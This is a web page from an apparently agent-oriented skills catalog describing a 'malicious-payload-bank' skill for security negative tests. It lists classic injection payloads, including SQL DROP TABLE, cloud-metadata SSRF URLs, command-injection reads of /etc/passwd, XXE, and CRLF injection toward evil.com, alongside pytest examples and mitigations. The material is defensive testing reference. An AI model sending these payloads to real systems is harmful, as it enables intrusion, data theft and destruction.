Testland
Browse all skills & agents

malicious-payload-bank

Reference catalog of curated adversarial input payloads keyed by attack class - SQL injection, XSS, SSRF, path traversal, command injection, XXE, prototype pollution, regex DoS, Unicode confusables, header injection - plus per-context guidance for which payloads apply (URL parameter / form input / JSON body / file upload). Use when authoring negative-test cases for input validation, fuzz targets, or a security-focused test suite that needs to exercise the OWASP Top 10 attack surface.

Install with skills.sh (any agent)

npx skills add testland/qa --skill malicious-payload-bank
View source

malicious-payload-bank

Terminology note: The payload classes here are practitioner-emergent and align with the OWASP Top 10 (owasp-top-10 (opens in new window)) and CWE Top 25 (cwe-top-25 (opens in new window)) - both authoritative industry sources. ISTQB has no canonical entry for "malicious payload"; the closest formal term is "security testing."

A reference catalog of adversarial inputs to use when authoring negative tests, security tests, or fuzz targets. This is a defensive skill - for testing your own application's input validation, not for unauthorized testing of others' systems.

When to use

  • Writing negative-test cases for an input validator (per negative-test-generator).
  • Authoring a security-focused test suite.
  • Generating inputs for a fuzz target (Schemathesis, RESTler, AFL).
  • Reviewing input-handling code with adversarial intent in mind.

Payload classes

SQL Injection (CWE-89)

Apply to: any input that flows into a SQL query (URL params, form fields, headers, cookies).

'                              # syntactic break
' OR '1'='1                    # always-true
' OR '1'='1' --                # comment terminator
'; DROP TABLE users; --        # stacked statement
' UNION SELECT NULL, version() -- # information disclosure via UNION
admin'--                        # bypass auth via comment

Modern context: parameterized queries / ORM eliminate most SQLi; the payload bank verifies your input still flows through parameterization (no string concatenation slipped in).

Cross-Site Scripting (CWE-79)

Apply to: any input that may be rendered to HTML (display name, comment text, URL params reflected on the page, error messages).

<script>alert(1)</script>
"><script>alert(1)</script>
javascript:alert(1)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'-alert(1)-'                   # context-break in JS string

Test contexts: HTML body, HTML attribute, JS string, URL, CSS. Each has a different escape requirement; the payloads exercise each.

Server-Side Request Forgery (CWE-918)

Apply to: any input that becomes an outbound URL (image fetch, webhook, OAuth callback, link preview).

http://169.254.169.254/latest/meta-data/                # AWS instance metadata
http://metadata.google.internal/                         # GCP metadata
http://localhost:6379/                                    # Redis (no auth in many setups)
file:///etc/passwd                                        # local file read
gopher://localhost:6379/_*1%0d%0aSET%20test%20pwn%0d%0a   # protocol smuggling

Test: does the application fetch arbitrary user-supplied URLs without an allowlist? Does it follow redirects to internal hosts?

Path Traversal (CWE-22)

Apply to: any input that becomes a file path (file uploads, template names, image paths, log file selection).

../etc/passwd
..%2fetc%2fpasswd                # URL-encoded ..
....//etc/passwd                 # double-dot bypass for naive filters
%2e%2e/etc/passwd                 # full URL-encoded
..\..\..\..\windows\win.ini       # Windows
%c0%ae%c0%ae/etc/passwd            # over-long UTF-8 bypass

Command Injection (CWE-78)

Apply to: any input that flows into a shell command, backticks, exec / system / popen.

; ls
| ls
&& cat /etc/passwd
` cat /etc/passwd `
$(cat /etc/passwd)
%0a cat /etc/passwd                # newline-injection

XML External Entity (CWE-611)

Apply to: any input that's parsed as XML (SOAP endpoints, SVG upload, XML config import).

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Prototype Pollution (CWE-1321)

Apply to: any JS / Node.js input that flows into object merge (query-string parsers, body parsers, lodash _.merge, Object spread).

{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}

ReDoS - Regex Denial of Service (CWE-1333)

Apply to: any regex with backtracking applied to user input.

aaaaaaaaaaaaaaaaaaaaaaaa!         # for /^(a+)+$/
aaaaaaaaaaaaaaaaaaaaaaaa@aaaaaa   # for typical email regexes

Test: does the regex complete in linear time on adversarial input? Tooling like safe-regex (Node) or re2 (Google's linear-time regex engine) eliminates this class.

Unicode Confusables / Homoglyph

Apply to: any input that's compared for equality, used as a display name, or used in security boundaries (admin checks, domain validation).

аdmin            # Cyrillic 'а' (U+0430), not Latin 'a' (U+0061)
gооgle.com       # Cyrillic 'о' in google
"Admin"           # NFKC-normalized variant
ff                # ligature for 'ff'

The CLDR / Unicode Consortium maintains the canonical confusables list (opens in new window).

HTTP Header Injection (CWE-93)

Apply to: any input that flows into a response header (CRLF injection in URL params reflected as Location, Set-Cookie).

test%0d%0aSet-Cookie:%20admin=true       # CRLF + cookie injection
test%0aLocation:%20http://evil.com        # response splitting

Per-context payload selection

ContextPayload classes to try
URL query parameterSQLi, XSS (reflected), SSRF (if used as URL), path traversal (if used as file ref), CRLF.
Form field (text)SQLi, XSS (stored), Unicode confusables.
File upload filenamePath traversal, command injection (if shelled out), Unicode confusables.
File upload contentXXE (if XML), polyglot (image+JS), zip bomb.
JSON body fieldSQLi, XSS, prototype pollution, Unicode confusables.
HTTP headerCRLF, header value injection, Unicode in Host.
Webhook URLSSRF, internal-IP variants.
OAuth redirect_uriOpen redirect, SSRF.
Search field (with regex)ReDoS, SQLi.

How to use in tests

Negative test (rejection-path verification)

import pytest

XSS_PAYLOADS = [
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>",
    "javascript:alert(1)",
]

@pytest.mark.parametrize("payload", XSS_PAYLOADS)
def test_comment_field_rejects_or_escapes_xss(payload):
    response = post_comment(text=payload)
    # Either the input is rejected (4xx) or the response renders escaped
    assert response.status_code in (400, 422) or '<script>' not in response.body

Fuzz target

@given(payload=sampled_from(SQLI_PAYLOADS))
def test_search_does_not_execute_sql(payload):
    response = search(query=payload)
    # Should never expose DB state
    assert "syntax error" not in response.body.lower()
    assert response.status_code in (200, 400)

Anti-patterns

Anti-patternWhy it failsFix
Treating XSS payloads as "stored examples" without checking response shapeA test that just sends and ignores response misses the actual vulnerability.Always assert: payload is rejected OR rendered escaped.
Running these against productionEven synthetic-looking payloads may trip WAFs / alerts; risk to oncall.Always against staging / local; document with the security team if production fuzzing is required.
Shipping these payloads in production seed dataReal users see the strings; possible inadvertent execution.Synthetic-PII fixtures (per synthetic-pii-generator) for prod-shape; this catalog only for tests.
Skipping Unicode confusablesMost-overlooked class; a аdmin (Cyrillic а) may bypass an admin-name allowlist.Include confusables in any test against an identity allowlist.
Hand-rolling new payloads from blogsStale; misses encoded variants; misses platform-specific cases.Maintain this catalog; review against the OWASP Cheat Sheet Series quarterly.

Defensive guidance

For each class, the canonical mitigation:

ClassMitigation
SQLiParameterized queries; never string concat. ORM use is fine if you don't fall back to raw SQL.
XSSOutput encoding per context (HTML / JS / CSS / URL); CSP nonces.
SSRFURL allowlist; reject internal IP ranges (RFC 1918, 169.254.x); per-domain rate limit.
Path traversalCanonicalize paths; assert resolved path is under the allowed root.
Command injectionAvoid exec/system with user input; use argv arrays not strings.
XXEDisable DTD processing in the XML parser.
Prototype pollutionObject.create(null) for user-data objects; --disable-proto Node flag.
ReDoSUse linear-time regex engines (re2); set timeouts.
Unicode confusablesNFKC-normalize before comparison; reject mixed-script identifiers.
Header injectionStrip \r\n from header values; use a header library that does this for you.

References

  • owasp-top-10 (opens in new window) - canonical attack-class reference.
  • cwe-top-25 (opens in new window) - CWE Top 25 most-dangerous weaknesses.
  • OWASP Cheat Sheet Series - https://cheatsheetseries.owasp.org/
  • Unicode confusables - https://www.unicode.org/Public/security/latest/confusables.txt
  • negative-test-generator - sibling skill that generates rejection-path tests; consumes this catalog as input.

Related skills

bogus-data

Authors .NET test fixtures using the Bogus library - fluent typed `Faker` builders with `.RuleFor` per property, generation via `Generate()` / `GenerateBetween(min, max)` / `GenerateLazy()`, and `UseSeed()` for reproducibility. Provides the Bogus equivalent of Python's Faker / Ruby's FactoryBot. Use when the project is C# / F# / VB.NET and the team needs typed fixture creation.

boundary-value-generator

Generates boundary-value test cases from typed input specifications - for each input field, produces the canonical 6-point set (one below, at, and above the lower bound; one below, at, and above the upper bound) plus equivalence-class representatives. Emits cases as parameterized test inputs (pytest @parametrize / Jest test.each / xUnit InlineData / etc.). Use when a function or endpoint has numeric / string-length / collection-size constraints and the team needs systematic edge-case coverage.

e2e-test-narrative-builder

Assembles a multi-step end-to-end user-journey test from a list of high-level user intents - translates each intent ("user signs up", "user adds product to cart", "user completes checkout with promo code") into the corresponding test-runner step (Playwright / Cypress / Selenium / Karate), wires shared state across steps via test fixtures, and emits the resulting test as a single Scenario in the project's E2E framework. Use when scaffolding an E2E test that exercises a complete user flow rather than a single page.

factory-bot-data

Authors Ruby FactoryBot factories with traits, associations, sequences, and the three build strategies (build / create / build_stubbed); integrates with RSpec / Minitest test suites; pairs with Faker for randomized field values. Use when the project is Ruby / Rails and needs structured fixture creation with referential integrity.

faker-data

Authors test-data factories using Faker: the Python `faker` library, the `@faker-js/faker` JS port, and the `faker-ruby` gem. Owns the library mechanics end to end: install per language, the provider catalogue (person / internet / location / date / finance / lorem), locale selection and multi-locale mode, and seed-based determinism for reproducible runs. Scope is generating fresh values for tests that start from nothing, not replacing values inside an existing dataset that already holds real records, which raises referential-integrity and re-identification concerns this skill does not address. Prefer this skill when the codebase already uses the Faker family or when cross-language consistency across Python, JS, and Ruby matters; use mimesis-data only when deeper Python locale coverage is the primary requirement. Use when authoring fixtures or factories that need realistic-looking field values.

golden-file-conventions

Reference catalog for snapshot / golden file management - naming conventions, directory layout, when to add / update / remove a baseline, sanitization (timestamps, IDs, PII), per-OS / per-runtime variant strategy, and review workflow for snapshot diffs in PRs. Use when designing a snapshot-testing convention or auditing an existing one for drift.

mimesis-data

Authors Python test fixtures using mimesis - a fast, type-hinted, locale-aware test-data generator with 46 locales - covering Person / Address / Internet / Datetime providers and the Schema/Field pattern for typed-dict generation. Pairs with factory_boy when referential integrity is needed. Use when the project is Python and the team values speed, type hints, or strong locale coverage over Faker's larger ecosystem.

mountebank-imposters

Authors Mountebank imposters (multi-protocol mock servers - HTTP, HTTPS, TCP, SMTP, LDAP, gRPC, WebSockets, GraphQL, and more) by POSTing JSON definitions to the Mountebank control API on port 2525, configures stubs with predicates and responses, and uses record-playback proxy mode to capture upstream traffic. Use when the project needs a multi-protocol mock server beyond HTTP-only tools like WireMock or MSW.

msw-handlers

Authors Mock Service Worker (MSW) request handlers for both browser and Node.js test environments using the `http.get` / `http.post` / `HttpResponse.json` API, wires them via `setupWorker` (browser) or `setupServer` (Node), and manages the test lifecycle (`server.listen` / `resetHandlers` / `close`). Use when the project uses JavaScript / TypeScript and needs to mock fetch / XHR at the network layer for both Vitest / Jest unit tests and Cypress / Playwright integration tests.

negative-test-generator

Generates negative / error-path test cases that mirror happy-path tests - for each happy-path test, produces companions exercising input validation rejection, missing required fields, type mismatches, authorization failures, rate-limit errors, and adversarial payloads from the malicious-payload-bank. Emits cases as parameterized tests in the project's runner format. Use when a feature has happy-path coverage but the rejection / error / unauthorized paths are untested.

pairwise-test-case-generator

Generates parameterized test inputs combining boundary-value, equivalence-class, and pairwise-combinatorial cases from a typed multi-input specification - produces the cross-product of cases up to a configurable strength (1-wise / 2-wise / N-wise) using all-pairs reduction so the test surface stays tractable. Emits cases in the project's test-runner-native parametrize format. Use when a function or endpoint takes 3+ inputs whose interactions matter and full Cartesian product would explode.

seed-data-curator

Builds a reproducible E2E seed dataset for the project's test environments - picks a representative user / org / data-product cross-section, generates the rows via the project's chosen factory library (FactoryBot / mimesis / Bogus / Faker + factory_boy), persists the dataset as a checked-in fixture (SQL dump / JSON / per-engine seed file), and wires it into the test bootstrap. Use when starting E2E coverage on a project that has no seed strategy, or when an existing seed has drifted.

synthetic-data-tool-selector

Chooses between the four mainstream synthetic test-data generators - Faker (JavaScript), FactoryBot (Ruby), mimesis (Python), Bogus (.NET) - picks the right tool by language and use case (raw value generation vs. typed factory orchestration), shows side-by-side equivalents for the same fixture across all four, and emits the language-appropriate code. Use when starting test-data work on a project and the team wants the "which tool should I use" decision documented.

synthetic-pii-generator

Generates realistic-but-fake personally identifiable information (PII) - emails, phone numbers, SSNs / national IDs, addresses, names, credit-card numbers (test BIN ranges), date-of-birth - for non-production environments. Wraps Faker / mimesis with PII-aware constraints so generated values match real format expectations (Luhn-valid card numbers, region-valid phone formats, ITIN/SSN format) without ever generating real-person data. Use when seeding test environments, building demo data, or replacing real PII in copied datasets.

test-data-patterns

Pure reference catalog of the cross-language object-construction patterns for test data - Test Data Builder (Pryce/Freeman), Factory (with traits and associations), Object Mother, Fixture composition (per-test / per-describe / shared), Snapshot (defers to `golden-file-conventions` for the operational details), and Production-Data Anonymisation. Distinct from per-language data wrappers (`factory-bot-data` Ruby, `faker-data` JS, `mimesis-data` Python, `bogus-data` .NET) which document tool-specific configuration; this catalog is the architecture-tier reference for choosing **which pattern** before reaching for the tool. Use when choosing a test-data construction pattern for a new suite, or auditing an existing suite whose fixtures have drifted into shared mutable state.

wiremock-stubs

Authors WireMock stub mappings for HTTP service mocking - `stubFor` with verb/path/header matchers + `willReturn` response shaping, lifecycle via `WireMockServer` (start / stop) or JUnit `WireMockExtension`, request verification via `verify()`, and dynamic-port allocation for parallel tests. Use when the project is JVM-based and tests need to mock HTTP dependencies (third-party APIs, internal microservices) at the network layer.